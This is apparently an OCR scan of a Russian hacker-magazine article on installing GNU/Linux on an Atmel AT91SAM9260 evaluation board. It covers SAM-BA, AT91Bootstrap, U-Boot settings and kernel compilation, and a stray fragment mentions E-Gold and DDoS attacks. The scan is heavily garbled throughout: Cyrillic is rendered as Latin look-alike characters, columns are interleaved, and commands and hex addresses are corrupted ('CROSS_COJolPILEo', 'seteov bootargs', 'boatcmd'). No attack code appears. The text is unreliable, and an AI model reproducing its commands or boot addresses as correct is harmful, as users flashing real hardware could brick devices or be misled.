CnltlWKOM y)l( M>lrKltlM. Aymaca D>KeKCOHa, ero
B 2008-M
GpaTa Pe~A21115appl'l,l\aYHltlnplo1rCBopioll1ltl
Hble DOoS-ilTaKltl H3 E-Gold, 1-1 nYLl.\eHHilfl TOr,ll,a
"ITO KOMnaHltlfl BoccT8HeT 1-13 nenl1a lt1
K 3 rO,lJ,3M yC1l0BHO [BKI1Kl'i2\1 rlonro,lJ,a nOA
>Ke «yTKa», rJlaCltlBW8s:l, 4TO 01CTeMY flK06bl 3a
npe,D,CT3HeT nepeA HaMItl S HOSOM cseTe,
M3CJl3 B orOHb nO,D,nHJlH ltl nOCT051H
6aHKpOT ltl Tenepb He CMo~eT
AOM3WHltlM apeCTOM ltl 311eKTpOHHblM HaGJilO
Kpblflltl, E-Gold -
AeHltleMl. a TaK>Ke -
paCn11aTltlTbC51 co C80Lo1Mltl K!1ltleHTaMI-1.
K 300 yaCaM 06111eCTBeH
HblX paGoT, Bcex TpOltlX 06JiO)k.l/l1H1 wTpa¢oM:
XAkEP 05/125/ 09
\113-33
nOCfle,o,Hero co06w,eHlllfl nonb308aT€JlIII (K3K,
sce .>Ke, OTJlli14eH aT f-lyJ1>l, TeM 60nee '"ITO TpeHltlfl C BflaCH1Mltl,
noxo~e, HaKOHeL\~TO,
yperyl1l-1 po sa H bl.I
~
077
, ,
"'4 AT91
/'
SA~19260
I'
I,~'
ill
Ethernet
NAMD256M
E.8rE.Hl-111 «)1 M» 3D5H\1H tzOBNINrilGMAI L.COM I
Ether-net
lIEMnHOH nErKO BECE
AT91 SAl19260
npaKT~~eCKoepYKoBoACTBononoceneH~~
GNU/Linux Ha M~KPOKOHTpOnnepe l...\enb npOCTa -
HaYllVlTbCR CTaBVlTb
ac Ha 6a3e Linux Ha liTO-TO, OT
nVlllHoe aT Be3,lJ,ecyw,e~ apxVlTeKTypbl
IBM Pc.
nonarafD, yTe6R eCTb
TaKoe YCTPO~CTBO, 6blBwee COBceM He,lJ,aBHO MapwpyTVl3aTopoM
Vln VI
Ka KVI M - HVl6y,lJ,b n pOM bl wne H H bl M KOM n bfDTepOM.
Jl Vl60 Tbl
nOTpa
TVlnCR VI KynVln nOnHOlJ,eHHbl~ O,lJ,HOnnaTHVlK, lIT06bl Vlcnonb30BaTb era B KalleCTBe OT,lJ,enbHOro cPa~n-cepBepa.,l],nR TaKVlX cPYHKl.J,V1~ nVicaTb C HynR npowVlBKy He V1MeeTCMblcna, a BOT nOCTaBVlTb Cnel.J,V1anbHbl~ ,lJ,V1CTpVl6yTVlB Linux -
caMoe Tal
• aKORSET - HIDS 5E3)lO>K HblX CPA5ATbiBAHI-11-1 B npeAblAyUJ,eM Ha
HOMepe. HanOMHIO,
TeopeTI-1~eCKa~
511'1')
32
M6 IDVlpMHOI1 16
n3MSlTltl. nO'-lltlT3i1 O<pl.1l.J,ltl311bHbIM G1LliT 11 <pOpyMbi.
NAND-Flash: 256 M6
HaBepHRK3, Tbl He nepBbli1, KTOYCT3H3BnV18aeT
DataFlash i-!:a SPI-I1HTepilJe7i.ce Atmel
0630P nonymlpHblX apXvneKTYP III Al.1CTP\>15yrl-1BOB
Linu)( lia nOAo6HbiLli AeBaMc - ltl yyltlTbCflnYYWe Ha YY)l(l.1X OWltl6K3X, "leM Ha CBOIllX.
• MYfKpocxeMa ¢113J.1y:ecKoro ypOBHSl
.LJ,eJl3Tb Bce 6YAeM no waraM. V1 nOMHltl. onyal.J,VlR
Ethernet, COEMeCTHMa}{ C IEEE 802.3:
He IlBJlfleTeR 6e3BblXOAHOM AO Tex nop. nOKa Vl3 yc
Micrel KS7.8041 TL
nOHflTHO. 'ITO 8 lBoeM
II
(nBe M}!KpOCXeMbl no
MapKltlp08Kltl Ml1KpOcxeM. Y3HaLli o6beM ltl Tltlnbl
)J,IlS1 8CTpaYlBaeMbiX yCTpoiicTB. CerOAHl'l3ai1MeMCl'l co6CTseH HO YCT3H08KOJil
I
6blna ocaelLle
CTOpOl-ld Bonpoca l'I npOS€,ll,eH
¢OPM3l.J,l-1l-1 0 nOAonblTHOM yCTpoikTBe: nepenVlUJl.1
nI1HyKca.
cnY"lae MQ>KeT 6btTbCoaep
weHHoAPyral1 nn3Ta C.Qpyrlo1M KOHTpOflnepOM,
Ho nporpaMMlilpOSaHl1e BCTpa1018aeMbiX YCTPO~CTB
BCer'.Q3 npOXOAlilT no 0AHI1M VI TeM::4(e walaM, n03
Tpo~crBa He nOMr'\eT AblM:I.
llKAnpI-13Hbll1 MOHCTP
AT45DE041B: 1 r46
• Ha l1Jla-:y TdKJ:\e BblBe,Il;eHbI USB-XOCT !II DBGU-I1HTep'pe~c
TOMy, HaYYI1BUJItlCb BCe AellaTb H3 MoeM nplilMepe,
y MeHI1 eCTb npOMblwneHHblM KOMnblOTep
Ha,Qo nOMHltlTb, "ITO AT91SAM9260Y:>Ke He COBceM
HerpYAHO nepeHeCTItl nonyYeHHbl~ OnblT Ha TBO~
sh27cncl, npVl npOeKTltlpOBaHl.1ltl KOTOpOro 6blJl
MlilKpOKOHTponl1Cp B TOM CMblCJle, KOTOpblL:! Mbl
.Qe8a~c. "lyrOK nOAnpaBItlB aJ1ropl'm~. OTm-1 ' jltl"
B3lH 3a OCHOBy AtmerOBCKlo1~ oTn3,qO'-lHbIM Ha60p
npltlBbiKJlI'I BK11aAbIB2Tb B 3TO nOHI1Tl'le. BeAbBHyr
6YAYT, HO '-I3w,e seero -
AT91 SAM9260-EK lil A053BneHo HeCKonbKO y3noB
pViy HefO Hyo4eHb MHoro BCI1KOl:1 pa3Hoo6pa3Holi nepltl¢lepl'lv., HCl'-lI'lHaR C llAna A,'l11 BblBOAa 313Yl<a
Hecyw,eCTBeHHble, npl1
"leM Bee TOHKO(Tlil npOUJlo1BKlo1 OTAellbHO B3RToro
nma nnVlC [nporpaMMlilpyeMble 110rltl4eCKl'le I'IH
YCTpo~CTBa nO.Qpo6HO Onl1CblB3KHCR B Oatasheet
TerpanbHble cxeMbil OT KOMnaHIt1l.1 Altera. 3 T3K:>Ke
l.133K3H4V1B311 KOHTpOnJlepaMl.1 nOK2JlKVI!EMAC
K KOHTponnepy lo1 Ha ea~Te np0113BOAI1TeMl.
napa nap3JlllellbHbix nopros. BOT ero Kll104eBbie
yposeHb Ethernet) V1 Fl3Sh-naM'ilTltl.
TaK>Ke.AJ1R ycnewHoro 3asepweHlo1R MlilCClo1lil,
KOMnOHeHTbl:
f1e 9260 - caMblCi. '-ITO HI'I Ha eCTb, KOMnbIOTep-lia
HenilOXO 6b1ltlMeTb 5a30Bbie 3HaHlo1Sl
no rrpou,eccy
3arpY3Klo1 Unux ltl3HaTb, '-lTO eCTb «nepl.1$epl-1R», «KOHTpOflf1ep'}, «epa~fl08afl CVlCTeMa". nepeATeM, KaK YTO-11lil50 npOWl1B8Tb. nonY'-l11 M3KCI1MyM l-1H
~
078
KpVlCTanne. f4HKpOKOHTpOflJlep
Atmel AT91SAM9260
B Kopnyce PQFP OnepaTMi3Ha51 naMHTb: 64 M6 SDRAM
B 3TOM CMbIC
Ho c.QpyroCi CTOpOHbl, Onep3TltlBHO~
naM51Tl1 y Hero 8 Hyrpl.1 - scero 8 K5, lil3 KOTOPblX Te6eAocrynHo TOJlbKO 4,
a 3HeprOHe33BI1CIt1MOCi
T3M HeT8co6w,e. 3roT He.o,OCTaTOK npl.1XOAltlTCA
XAK£P
os /125/
09
E'tho?rno?'t
NAMD256M
USB-A
<llOTOAEBAHCA KOMneHOlpOBaTb H3na~KO~
BHeWHe~
RS·232-lo1HTep¢eficHYKl MVI KpocxeMy H3 9-nIllHO
3anycKaeT >KrlSYW.YlO B ROM nporpaMMySAM Boot
V1 BCe)f(e, K3K 3anycKaTb TClKOrO Kanp!ll3Horo
naM>lH1.
BblCi COM-p33beM, KOTOPbli1 yxe nO,ll.KJlIO'-IaeTCH
Agent (SAM-BAI, Ha YCTpoCiCTBe CAM-6y MO%.HO
MOHCTpa 7 TeM, KTO He 4(11Tart MO!C npowllylO CTa
I(
TblC, HanOMHIO. 8 Caf-lOM Ha'-lane pa60Tbi npolJ,ec
lho 3srpy3'1V1K\1, '-ITOf1I11HYKC no yMOJl'-l3HIIIIO
,o,oKyMeHTalJ,l1lO11ll11101 npocro 6pocaHlIIeM SPI Slave
copa nepBblM p,enOM craplyer eCTpoeHHbl~B ROM
Vlcnollb3ylOTT3KIII€ napaMelpbl nopls:
Output HOXKIII H3 3eMI1IO. nOAKlll04aeM )J,eBa~c
Bbl38aTb 33KOpOTK0i1 oco6oro nltlHa lowTp\ll
KOMny.
3arpy3YVlK. Yroro xsaTaeT Io1HTenfleKT3TOllbKO Ha TO, YTo6bl Bbicocarb4 K6 (O,QHY crpaH!IIl.\yl Ko,o,a
KUSB-noPTY 1'1 npoBeplleM. KaK OH onpe,ll.eJ1V1J1c\l' CKOPOCT~:
CKon"'pOB3Tb VlX BO BHyrpeHH<01O onepaTiI\BKy
115200 ):laHlWe: 8 bits 'IeTHOCTI>: He'r
IKOTOpott KaK pa34 K6J VI nepe,il.aTb Ha I-lee ynpaB
CTon-6JolTld: 1
neHlIIe. B 3TlII4 K6 Mbl ,o,OJl)l(Hbl BnVlxHyrb l(O,o, lo1Hlo1
KOHTPOlll>:
Vl3 M\1KpOCXeMbl Data-lo1flltl NAND-flash naM>lHl,
HeT
$ lsusb
Bus 002 Device 060: 10 03eb: 6124 Atmel Corp. at91sam SAMBA boot loader
IJ,VlallL-l3all,VlI16oJlbwoi1 VI B3POCflOCi onepaHoIBKIII
,o,anee, no CCblJ1Ke \N'w'~linuxtisamorg/lwikil
SDRAM, onpe,o,eJlIllTb Hana>lHHble MIo1KpocxeMbl
B6el13TI1 napaMelpbl e CBOIO TepMIIIHaflbHYlO
Flash-naM>lTVI, cKonVlpoaaTbonyAa oCTaflbHoCi
nporpaMMY Ha (TOpOHe PC.
bin/view!! In\lxtiSAMISoltwareTcols, Ka ....aeM
1<0.0. 8 yxe pa6oTalOw,ylO onepaTIIIBKY III nepeAClTb
He ne3b H3 P0)l(OH. 3aCT3sbyCTpoCicTSO
CO¢T AJl>l npowlo1BKIII. Orry,ll,a )l(eY3HaeM HaWiI1
Ha Here ynpasneHv,e, C 3Toro MOMeHTa 'f>Ke MO;+;:
3anycTVITbcIl XOT>l6bl cAe4>OllTOBblMlo1 fl,u,pOM
cne,D,YlOlUlIIe warlll:
HO rOBoplo1TbOTCM, 4TOYCTPOttCIBO 3anyw.eHO
III ¢aCinoBo~ C1'1CleMo~.IIIJ.lYlJ..llo1M\1 B KOMnneKTe
B c6w.eM, :310 HeTaK cTpawHo IMbl He 8 py6pV1Ke
c OmaAO'-lHO~ nnaTo~, a nOlOM y%.e Ha 3aseAOMO
Codingl.lII Hawa 3aAa'-la cee.oerc>I KKOMnVlJl5i1l,ItU1
pa60'-leM f1V1HyKce 3aTa4V1saCi .o.esa~c nOACBOIII
Y)f(e roTOBblX IIICXOAHlIIK06 Lo,a
HpK,D,bl. noexaJ1l<1.
VI TO
He 8cer.n.al
lITO%., YHac eCTb 8lt1pTYanbHbl~ COM-nopT, KKO
06w,aTbc>I Cnlo1HyKcoM nepsce speM>l6YAeM ....epe3 TaK ha3blBaeMbiCi OTna,ll.O'-lHblCi IIIliTep$eCic
" modprobe usbserial vendor=Ox03eb product=Ox6124
a3Am1BKA
TOpOMy nO,Q,KnlO.... aeMGI co4>T-nporpaMMalOpOM .
DBGU. CT04KVI 3peH~fl V1cnonb30aaHV1>1, 3TO
KaKy;+;:e Heo,o,HoKpaTHo rosoplllnocb.AT91SAM9,
6lt1HapHl-1K nOCfle pacnaK08Kl-1 Ha3b1SaelC" sam
06blKHoBeHHbiCi UART -napTC 06pe3aHHblMlo1 803
KorAa He l-laXO,QIIITnOAXOAIlW,Io1X npOWlII80K no HY
ba_cdc_2.8.linux_Ol, ero III 8b13bl6aeM. npl-1 303
MO)l(HOCT~MvL Ha MoeCi nnaTeOH 8b1BeAeH .. epe3
JleBblM a,o,pecaM Oat<J-l<1 NAND-4>new naMflTV1,
npoce yKa3blBaeM nopT/dev/UyUSBO VI nnaT)l
XAKEP 05/125/
09
~
079
f~~::s~ ~.=;:
~~:;~~
....
;,;;g..;~;.<~
~~~~~;~;:.:::.,
§:l['~~;~
S'~~_~M
=:;:,i~~;·T.:::;::iU;'~:;~:~;;;·\<;;";in;'-;'::·~i"~.o:;,·:>o~·-_
....~ ..........
~ttfii~~.=_~,,~.
t~!~F~~' aE.i;;31~~
KOHCOllbKA CnpollEccOM 3ArPY3KI1 RAPA
AT91 SAM9260-EK. Tenepb, Bbl6l-1pa51 BKJ18AK8MI-1 Hy>KHylQ nepl>1epepl.1!O. MO)l(~IO 38JWIS8Tb KOA. He 38
KOHCOllb CU-BOOT
4T06b16b1Tb yBepeHHblM, '1TO 3arpy34lilK 4eCTHO
06pa3 B Dataflash no aApecyOx8400. TaK Ha3blBa
oTpa603TbIBaerCBolO 4aCTb lil nepe,aaeTynpo3BJleHlile
eMbl11 Environment, a, no cym, KOH4!wypal.\IAOH
nIna Enable Flash v Ha>Kl-1MaTb Execute. IH8'ie npl'l nonblTKe o6pa
.aa.f'bWe, paCKOMM8HHlpyi:I CTpOYKy «#undef CFG_
Hb1116J10K 3arpy34I-1K,3. 'O>KeAOf1:t:eH rAe-TO>Kl-tTb.
DEBUG» 8 3arOfl0804HOM $ai1ne o3t91 sam9260ek h.
Ero MeCTO - Me~y caMVlM U-BOOt'OM l/l nep8lil'--l
TI1TbC>l K He~H>1l..lV1am13f1pOBaHHo~ MlIIKpocxeMe
TorAa 3arpY3Y~ KCMo.:+:.eT nJleaaTbC>l C006l.L.leHMi=lMlil
HblM 3arpy3"1L-1KOt-l no <l.Qpecy Ox4200 k~IOTPW /
ycrpmlcTBo nOBl.1CHCT BMecre c nporpat"n-laTOpOt.L
H30Tllo3,q04Hblit nop-r, lil, ecnlll '1TO-rOHe3apa6oraeT,
include/configs/at91 sam9g20ek.hl. nO:'HoMY
nCpOl-1~Hbl~ 4-Kl-1.no6a~THbl\:1 3arpY3Yl-1K nyywe
Tbl
6blB8i7t BbJ3b1B8Tb CKpl>1nTbl
38Jll-1S8Tb yepe3
cKp14nTSend Boot File. a Bee
8 6y,uy~eM He Tporai13ToT6110K, eCf1i1l He XOl.leWb
Ha~AeWbnpo5IleMYOblCTpee.
noc11e KQMnlilIlRU,Io1lil3alllilBal::l
n0J1Y411lBWlil~CSl
,bin
OCTanbHoe - '-lepe3.ll.lo1anOr nOCepeAl-1He OKHa
8 8bl6po3HHbli1 ;o60i1 FLash 4epe3 SAM-BA Boot,
neperpyxaeMcSllil CMOTplt1M pe3y11bTaTbl. U-boot
V1 yKa3aHV1e 8.ll.peCa BPYYHY~. Ecm13arpV3'ilt1K py
I.>1CIlOf1bJYQ cKpMnT «Send Boot File». nepe3arpy
,uomt<eH OnpeAeJllt1 Ib WMeK>l1J,YKXI1 naM>lTb, 06no
raere5l '" He XQ4eTKOIll-1pOB8TbA8HHble, y6eAl-1Cb,
)l(a~ yCTpOi1CTBO 11 CMOTplo'l Ha OTflo3A0'lHble co06
Mo3TbCI1 C303rpY3KOH SlApa lil SbI8a11I.>1TbC5i B KOMaHA
YfO Cl.£\pec KpareH pa3Mepy6JlOKa [Oxl 0000 6a~T
ll(eHI1Q, YTo6blOblTb ysepeHHblM B:HOM :lTane.
HytO crpOKY. nlilWf1 help M lil3yYa~ S03MO)l(HOCTIot.
An~ NAND). B03MO>KHO, Te6e ew,e nOHaAo6lil1cSl
KOMnlt111HTOp arm-elf -gee nOA apxl.>1TeKlYPY ARM. 6epeTcR OH Ccai1Ta
gnuarm
COill.
nocne 3Toro Bce
,qOfl>KHO 6blTb roTOBO KnpOWI.>1BK8 1.>10TJlaAKe,
~3ArpY34~KnEPBoro YPOBH~.AT91BOOTSTRAP
BrOPOrO U-BOOT
~3ArpY34~K
YPOBH~.
TaKOBbiM ero MO)l(HO Ha3saTbIH1WbC HaT51)l(
i3~,QPO L1NUX nOlllrpaSWlilCb CJ(oMaHAHot! CTpOKOtl U-Boot, nepexGAlIl KcC6CT8el-iHO 303rpY3Ke Sl,apa
Koi13TOT MOHCTp pa3se YTO BTeTplilC lie >1rpaeT
OTKy,qa era 6paTb? no 2p,pecy WN-N,lll1l1x45am.or-g
Y"",eeT 3arpY)l(aTb DCb OTKY,aa yro,aHO. BTOM
fux!.kjLbln/vrew/Llnux4SAM/LinuxKernel MO)l(I--!O
411cne 10'1 no CeTI1 \TFTPlil BOOT PI, TeeTlilpoaaTb Konlo1poaaTb RAM lil Flash naMIHb. KpOl-leTOrO,
CKa4aTb npeKOMnV1J1i.1pOSaHHoe l1,l:l.pO, 33TOyeHHOe no.Q OTJla,QO'-lHylO oJlary. npeJV1aralO Ha'-laib I'IMeH
Ka4aeM ero no aApecy vw,w linux4sam-.Jll:uJtw ikdbin/vlew/Llnllx4SAtv' IAT91 Boolstr"p. ECJlI.>1
noMep)l(l.>1BaeT npOCTble C:<pl.>1l1Tbl. 8 06l.L.leM. 3a~
TSOR MlilKpocxeMa Oataflash >KlilseTHa Chip Select
6lilpaeM c nplt111araNWro K)I(ypHaJ1y,uI1CKa apx>18
$i.o.po y Mel-lSl )KL-1BeT B NAND-Flash naMHH1 no a,ue
1, TO cpa3y MO)l(eWb 83\Hb CKOMnlilJllilpOBaHHblIiI
c lilCxo,aHl-1KaMIot u-boot-1.3.4 tar. bz2, pacnaKo
cyOx42000. 3T01 a,ape:: nOCOBeTosan M,myaJl, XOTI1
6l.1HapHlilK, lt1Ha'1e npl-1AeTC51 MYYvll'b lilCXOAHI.>1Klil.
BbiBaeM, ,Q06aSf1l1eM 3KCneplt1MeHTaJ1bHbli:i naTY
Sl >1Me11 n011Hoe npaso rpy3lilTb era KYAa yrO,lJ,Ho;
PacnaKOSblBaeM. CJleAYi=l MaHyaily nOToMY >Ke
u-boot-1.3.4-exp.diff 10'1 co6lilpo3eM:
Ho3,aorollbKO CneA'A7b, '-lTo6bl aHa He nepeceKanOCb
It!
a,qpecy. Bbl61.>1paeM Hy)l(HYIO HaM KOH4JvHypa~ l\V1O
nyreM l-1Cn0J1b30aaHvHl COOTOCTcTByKlll.\ero
HO c Hero, TaK OHO rapaHTlilpoaaHO pa60TaeT,
CAPYnlMIA .o.al-'l-Il>ll-1l1. $
11Idke
Maketile. Vh.tefl8-Mera6I1THbll::l Oataflash HiJ nna
config
Te, 3crpy3"1lilKlil 513anlilXl-18aJ1lilMeHHO l)'Aa, a SlAPO
$ make
ilL91sam9260elLdataflash_csO_
VlT<lK, 6epeM 5lAPO nocae)l(ee 12.6.271. Ha 6YAyw,ee CKa41.>1SaeM C To~;:t<e CTpaHlil4KlIlI.>1CXOAH\1KI.>1 C l1aT
CROSS_COMPILE=arm~elf-
c CDC - y>Ke Ha 256~Mera503iiiTHbliii Nt..ND·Flash.
I
HaCTpaMsaTb Bce 3aHoeo.
YeM
It! , Bbl3B3S
6pal-lHbll1
SAM-BA Bool, 3alll1BaeM B8bl
~l1€W
no Bbl6pDtlHoMyaApecy. nocne
3Ha41H, SMoeM c11Y4ae npoeKT KOMnl-111J..1pyeTC51
Tenepb onpe.D.e.~>1MC51, Ky,o,3 3aIlwaaTb u-boot.bln.
nepe33rpY3Klil CHooa OKa3blSaeMCl1
BOTTaK:
EC11H 1bl cMOTpen t1CXOAHI.>1KVl3arpY3'1HKa nepBoro
CTpOKe U-Boot. n~lweM TaKl-1e KOMo3HAbl:
B KOMaH,l\HO~
YP08H~ 14-Kl.>1nooai1THbltl Bootstrap!. TO Mor 3aMe
$ cd board/at91sam9260ek/dataflash
TlilTb HeCKOJ1 bKO J1 KJ60 nblTH blX Ae¢a i:iHOS'
S :oake CROSS_C0l-1PILE=arm-elf
U-Boot> setenv boatcmd nboot Ox22000000 OxO Ox420CO\i booc.m
$ less at91sam9260ek. h 303rpy3l1l-1K npOCTeHbKI.>1H s em KOAax He COCTaSI.>1T
""de fin/" IMG_ADDRESS Ox8400 '. lmag€ ,
Tpy.aa pa306paTbC51, HO C/leAlil, 4T06bl pa3Mep lilTO
Addn:ssi.n DatliPlastl "/
r060ro 6lilHap,H1Ko3 He npeBbIWJ114096 6a~T,
~jp'':in.:.'
MHe e~e npl.>1WflOCb pacKOMMeHTl-1pOBaTb ((,apaH~
Si.ze in DatclFlash "/
IMG_SIZE Ox33900/* Image
sep» Moel::l Oataflash-MlilKpocxeMbi AT450B0418
</"~"Ljrll'
S¢aHlle driver/dataflash.c. cDYHK~lIlSl dUnit
Fwa 1 .... ump ;'.<:16.1: E;-SS ." /
JUMP.-ADDR Ox23FOOOOO/*
U-Boat> saveenv Om.\lil5l setenv32AaeT nepeMeHHble oKpy)l(eHlil51. Bootcmd - oc0603l1 nepeMeHHa~, 4epe3 Hee onWCblsalCT KOMOlU,D,b1 (O,D,aHHoM cf1y'lae - «nboot Ox22000000 OxO Ox42000; bootm»), KOTopble Tpe6yeiCl18blnOJlHlilTb nOCJle 3-ceK)'HAHQroTai1 Mayra B Ha"laJ1e 3arpY3Klt1 U-Boot. KOM3HA3 nboot
HecoBna.o.a.na CYCT3HoBlleHHoi1 Ha pe¢epeHcHoM
~3
OTJ1<3J\O'1HOM Ha6ope. OHa 5blna nOAJl0>KeHo3 S npo
3ro lilMeHHore an,peca, oTKy,aa Bootstrap 6epeT
KomtpyeT A<lHHble
eKT, npOCTO 33KOMMeHTlilpOBaH<J ,alll=! VMeHbWeHI1~
npOWI'lBK)' 18 HaweM CllY'"'<Je, U-Bootllil KYAa ee
aApecy, a bootm - 3anycKaeTnporpaMMy, yna
paJMepa.
KOO\.1pyeT. ECIll-1 Tbl He MeH51Il 3TI.>1 Ae4>o3~'Hbl, Tone!/!
KosaHHylOyrv,,11'1TOJA mkimo3ge [cMOTp"1 ,uaJ1bwel.
~ 080
NAND-Flash noyKa3aHHoMy
XAKEP 05/1251 09
...
"'''
-
.... ....
~s.<M-tIA~
---
-
Sl:ril>IFk
~~
AT9lSAl'J1~~
-
-
9
AWl SAM9Z6ll1,4elnory DIsplay SIM I\drh$. : 10>200000
... ..
Refresh
...........
, , " """""" ~~
Ib!AOI)D(IZO
O>cFFFFFFFF
llxlI02001C4
Ox\iOOOOOaO
OXOOOOOOOO
O>:OWOllOOO
0...00000000
OXOOOOOO~
hi. DataAasll AT45081OC8
1[DiSPlay format
r
v ascM v 8-bit v
She in byte(S): ICbo:100
-..... Ol<llOOOOOOO
"',,,
t£Hllt •
JZ·b11
"'"". 0>:00000000
""""""
l NorFliSh I S.r1"~ Al2SIATZG
Il><OO000000
_:::1 H¥ldflaslt
1SDRAM
] SRAM
I"'.....,"'·"..
C06HPAEM EMOEBIAN
!
I
Addrtss :JllP<ll400000
IIEnallIe NilndFtMfl
'i
_.
r
"'"
~
I Si:l:1 (For Receive FIIe):~ byte(s)
_SCrIpts
_.......
I
~
Send Fdo Harne :lIM"'eI~InlMI""""CI~&JVem~eblan-l,jlI"$2
Recelvl f'ile H'lIlle :
/
CDmpanl
sent fit wltlt memory
I I I
I
I
---!
ECIll-1)1(e KllaSlt1Wa 6blIla H3>K3T3, III Tbl OKa3allCl1 B KOM3HP.H0i1
CTpOKe. TOAe$01lT08a~ 3arpY3K3 Bblno.nH~eTCI< KOMaH.o.oili
boot
f--!I:l".ol$U,.:tr.:::-~l __~,8.1JJv~22 II 1fflIFlIl!IH: :Inlt
1':Ina J..,e,! : 51
1- l.oDdirc 'IlIlJ1I'l Itvl'Qllt/l__<l'101-.826l:'.l:dn at act:t'OOO 1- InCIN Mm , l>Itea
-I· IkrIfr _ _ , (),:2000017EA
I-lkrIfreiZO'=1>jIoa
-]- 1Wl..... inl1.hlJ ~ dono (~.B.lilU<~ot 2 I
B o6U\eM, eCfll18Ce c.o,enaHO npaSl-1J1bHO, TO CHa'1ana nOl1
(10<1_
B\1TCl'l He60JlbWaR CTaTltl(lIi1Ka 0 >l,o,pe, a nOTOM Ha4H€ r Cl'l era
pacnaKOBKB (crp04KB (Uncompressing
Linux})I. 3aTBM AOIl)KHQ
~
!ldtvlttyuseol
3BS€ ( llilCbCBMC SlAPO, pap,OCTHO B03S€LlJ,B>l 05 310M MHO>K€CT
BOM coo6w.eHltIiIi Ha OTna,o,O'1HblVJ nopr YltlTaili t1X BHliIMaTBnbHO. TaM coo6w,aeTCp. 06 y,.o,BYt-JbIX \01 He O'-l€ H bq>aKTBX nOAKJ1IOY€Hl-1>l
nepl-1¢epl-1l-1.
8 ,D,BnbHeC'1W€M
BoWd
AOJ1rO H HYAHO 3AJ1HBAIO<IlC YEPE3
SAM-BABOOT
-_J
310 MO>K€T nOMQ4b npl-1 nepeKOM
nl-lM1LJ,IIH1113a T0'1K€ .
Kat< TOllbKO S1p,PO BblCKa:>K€r
Bee. 4TO AiMaeT
06 oKpy>KaKlw,€ M
Ha 3TY<pfleWKycKl-1HYTbCDC. Ho Ha4anbHal< yaCTb HOCl-1TeflSl y;t<e
ere Ml1pe, np0lt130i1,D,eTCcMOe llOrlilYHOe, '..!TO MO)f(€ T cnYYl1TbCR
JaHl'ITa. a Hl-1KaKoYtTa6m11.1,bl pa3AenOB. KOTOpytO Mbl nplo1BbIKill-1
-
Bl-1AeTb B Hal.lane K8)f(jl,oro IBM-c08MeCTl-1MOrOJJ,toICKa. y Hac
OHO 3anaHl-1Kyer! cDai1.no8oili CI-1CTBMbl BBAb HeT. 310 HOpMaJ1b
HO,- nplt\,:<p)"-l~saH~eMCDC Mbl3ai1MeMcon "yrb n03)Ke
HeT ~ He 6YAeT. Pa3pa6oTY\IlKI1 Evaluation Kit, He MYAPCTSy51
CKOMn~nlApOBaTb
flyKaBo, npOCTO 3anV1caflV1 cnWOK pa3AenOB SHyrpb 5lApa Linux
flApo, eCJlI,1 B3TOM 6yp,eT Heo6xOAl.1MOCTb,
TaK::t<e HecnO:::t<HO. Ka'-laeM SaHV1JlbHOe l<.opo, a C 1m X45 rn
r
[cMorpillli nux- 2.6.27/8rch/arm/mach-at91 /board~sam9260ek
Yn:lrl.1BaetJ naT4 Afl51 nfiaTbl V1 ,QC¢OJlTHbli:i KOH41l-1r.
cJI Oc060 BHV1M8reJ1bHbleyBl'1..o.efll-13TOTCnV1COK ew.e Ha 3Tane
B03MO)f(HO, naT4 npltlAeTCfl npaBV1Tb. ecnl-1 TBOl.1JJ,eBaik
3arpY3KiIll'l,iJ,pa, B 06ll.1eM. ¢IaYtflosylO cVlCleMY rpy3V1M no a.opecy
OTllW-laeTCSl OT OTJlaAOYHoro Ha60pa (I-lHa4e l.laCTb nepl-141epltlltl
Ox400000 l/dev/mtdblock11. Anl'l Hal.laJ1a MO)KHO B31<Tb npe..o.~
• nOlle3Hblv. Cav.T
He 3anYCTl-1TCI< I.
J13raeM¥Kl Ha llnux4sam.org. V1XTaM ,ll,Be - 3TO ,QV1CTpI-16yno1Bbl
no AT91SAM:
Open Embedded/Angstrom l-1 60nee nerKoseCHblH BuildRoot
llnux4?am org
HaKIlaAbl BaH lite naTl.la
Ha 6"l3e uClibc rOTOBbie 6a30Bbie 06pa3bl TO)Ke MO)f(HO CKa4aTb.
$ cd linux-2.6.27/
OHl-1 y:«.eynaKosaHblS jffs2-06pa3 ,[Illl< epllew.
• XOMl'IKYH\o1Sep canbHoro 3arpy3~
S wget maxim.org.za/AT91RM9200/2.6/2.6.27-at
KaK 3aJlbewbCDC, He 3a6Y..o.b 06HOBIt1Tb nepeMeHHylO bootargs
4l-1KaU~boot:
91.patch. gz
B MeHIO u-boot. ee 3H8yeHV1e no.o,CTaSfll'IeTCl'I a Ka'-leCTSe napa
'!.,I\W.I d(:flx.de/wiki/U
S zcat 2.6.xx-a;::91.p8cch. gz I paLch -pi
MeT poe
KOMaHAHoi=! CTpOK\Il 5l..o.pa:
Baal. • XOpOWV1V. <f>OpyM pa3
KOH4»"rypl1pOBaHle iii KOMnl111S'll.ll1S'l
S wget
'd'..JW.
linux4sam. org I t .... iki /pub/Linux4SM1
/LinuxKernel/at91sam926yek_deEcon[ig
U-Boat> seteov bootargs root=/dev/mtdblackl
pa60T4\1!KOS )f(ene3a:
rootfscype=jffs2 rw
e\eclronix.ru.
U-Boat> saveenv
S cd linux-2.6.27/ $ cp dL91sam926yek_defconfig con fig
Hap,elOCb, ace npOWfloycnewHo,iIl yTe65l3aTpe60Bafl14
$ make ARCH=arm old::onfig
aSTOp143al.l,l-1IO. nl-1Wl-1nOn1H root. a napoflb OCT88MlI:1 nYCTbIM.
$ make ARCH=arm menuconfig
n03ApaamllO. Mbl 8 Cl-1CTeMe! OCM8Tp'·mai1C5l. np08epSl~, sce fll1
$ make ARCa=arm CROSS_COJolPILEo=arm-elf
Ha MecTeJ Aecnj,j 803MO)f(HOcTei1 npe..o.ycTaHo8fleHHorOA~CT pl-16YTVlBa Te6e nOKa3aJlOCb MafiO. TO 4l-1TalilJJ,aflbwe.
, dvd
)J,O)KltI,QaeMCfl OKOH4aHl-1fl KOt.1nWll<l.l,V1V1 V1 «o6epTbI8aet.1}}l'IAPO S nOH5lTHbliii U-Boot'Y<f>opMaT:
Ii
EMDEBIAN IEMDEBIAN.ORGI
3TOT Jl,V1CTP\l!6YT\IlB, KaK HerpYAHOAoraAaTbCl'I. 6a3l-1pyeTc51
• Ha nplt1.naraeMoM K)Kypl~aflY .Ql-1CKe MO}f(~
$ mkimage -A arm -0 linux -C none -T kernel \
Ha Oebian V13aTa4148aeTCfl nO,QllerKosecHble BCTpal'1SaeMble
HO HaI.1Tl-1 toICXOJJ,Hl-1K\o1
-a 20C08000 -e 20008000 -n linux-2.6\
yCTpoi1cTBa nYTeM abIKVlAblB3Hl-151l'13 naKeTOB [Jcero JlV1WHerO,
